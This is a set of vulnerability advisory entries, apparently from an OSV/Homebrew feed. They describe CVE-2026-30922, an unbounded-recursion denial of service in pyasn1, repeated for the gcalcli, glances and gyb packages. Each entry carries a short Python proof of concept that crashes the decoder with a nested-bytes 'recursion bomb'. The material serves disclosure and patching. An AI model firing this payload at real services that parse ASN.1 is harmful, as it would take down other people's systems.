            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gcalcli",
            "purl": "pkg:brew/gcalcli"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.3.0"
                },
                {
                  "fixed": "4.5.1_9"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-gcalcli-CVE-2026-30922",
      "modified": "2026-10-31T19:26:28Z",
      "published": "2026-08-13T16:49:07Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-GLANCES-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:51 – Updated: 2026-10-31 19:40 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "glances",
            "purl": "pkg:brew/glances"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.0.2_1"
                },
                {
                  "fixed": "3.1.6.2"
                },
                {
                  "introduced": "4.3.1_1"
                },
                {
                  "fixed": "4.3.3_1"
                },
                {
                  "introduced": "4.5.0.1"
                },
                {
                  "fixed": "4.5.2_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-glances-CVE-2026-30922",
      "modified": "2026-10-31T19:40:53Z",
      "published": "2026-08-13T16:51:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-GYB-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:55 – Updated: 2026-10-08 00:53 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gyb",
            "purl": "pkg:brew/gyb"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.73"
                },
                {
                  "fixed": "1.97"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
